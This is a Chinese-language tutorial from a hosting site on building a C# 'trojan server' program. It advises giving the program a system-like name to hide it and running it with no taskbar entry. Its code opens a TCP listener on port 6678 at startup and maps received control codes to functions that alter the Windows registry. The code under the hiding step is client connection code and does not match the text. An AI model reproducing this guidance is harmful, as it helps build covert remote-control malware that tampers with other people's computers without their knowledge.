您好,登錄后才能下訂單哦!
這篇文章主要講解了“如何利用C#實現(xiàn)木馬服務(wù)程序”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“如何利用C#實現(xiàn)木馬服務(wù)程序”吧!
服務(wù)端的開發(fā):
要C#實現(xiàn)木馬服務(wù)程序,主要實現(xiàn)以下幾個功能:后臺的運行(隱藏技術(shù)),控制碼的接收與注冊表的修改,下面對這三方面做介紹:
1、在VC#中,建立一個后臺服務(wù)程序是很容易的
先建立一個新的C#的Windows應(yīng)用程序,項目名稱自定(不過為了隱藏可使用與系統(tǒng)相近的名稱),將窗體屬性“ShowInTaskbar”屬性設(shè)為false,讓它運行時不會在任務(wù)欄中顯示,并將屬性“Windowstate”屬性設(shè)為 Mininized即可,這樣窗體就可以隱藏運行了。當(dāng)然你也可以在InitializeComponent()設(shè)置,此函數(shù)起初始化的作用,在窗體顯示前運行,代碼如下:
// System.EventArgs包含事件數(shù)據(jù)類的基類 private void button7_Click(object sender, System.EventArgs e) { //記錄操作,在richTextBox控件中增加操作信息 richTextBox1.AppendText("請求連接" +textBox1.Text +" "); int port =6678; try { //初始化 TcpClient 類的新實例并連接到指定主機上的指定端口 client = new TcpClient(textBox1.Text,port); } catch { MessageBox.Show("服務(wù)器不在線!確定是否輸入主機名稱."); richTextBox1.AppendText("服務(wù)器不在線!確定是否輸入主機名稱."); } }
2、控制代碼的接收
必需在服務(wù)程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構(gòu)造函數(shù)中,代碼注解如下:
public Form1() //窗體的構(gòu)造函數(shù) { // // Windows 窗體設(shè)計器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 調(diào)用后添加任何構(gòu)造函數(shù)代碼 //加入你的偵聽代碼 //端口你可以自已設(shè)定,我使用了固定的端口 int port =6678; //System.Net.Sockets.TcpListener是用來在Tcp網(wǎng)絡(luò)中偵聽客戶端的 listener = new TcpListener(port); //啟動偵聽 listener.Start(); //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort() //reControlCode 是線程啟動執(zhí)行的函數(shù),此函數(shù)根據(jù)接收的控制 //控制碼選取合適的注冊表修改函數(shù) Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); } reControlCode函數(shù)如下,完整代碼見程序 private void reControlCode() { //設(shè)置接收套接字,接收listener.AcceptSocket是返回已經(jīng)接收的客戶的請求 socket = listener.AcceptSocket(); //如果連接成功執(zhí)行 while (socket.Connected) { //接收控制碼 byte [] by =new byte[6]; int i = socket.Receive(by,by.Length ,0); string ss = System.Text.Encoding.ASCII.GetString(by); //根據(jù)控制碼執(zhí)行不同的功能 //修改注冊表加入編碼 switch (ss) { case "jiance"://測試連接,返回測試信息 string str ="hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); socket.Send(bytee,0,bytee.Length,0); break; case "zx1000": //修改注冊表函數(shù),自已定義,見下面分析 UnLogOff(); //返回控制消息 retMessage(); break; case "zx0100": //修改注冊表函數(shù) UnClose(); //返回控制消息 retMessage(); break; //重復(fù)的case功能與前面一樣,略掉 default: break; }//case }//while } //private void reControlCode
3、C#中實現(xiàn)注冊表的修改
使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統(tǒng)引發(fā)的事件的類和對系統(tǒng)注冊表進行操作的類。
感謝各位的閱讀,以上就是“如何利用C#實現(xiàn)木馬服務(wù)程序”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對如何利用C#實現(xiàn)木馬服務(wù)程序這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。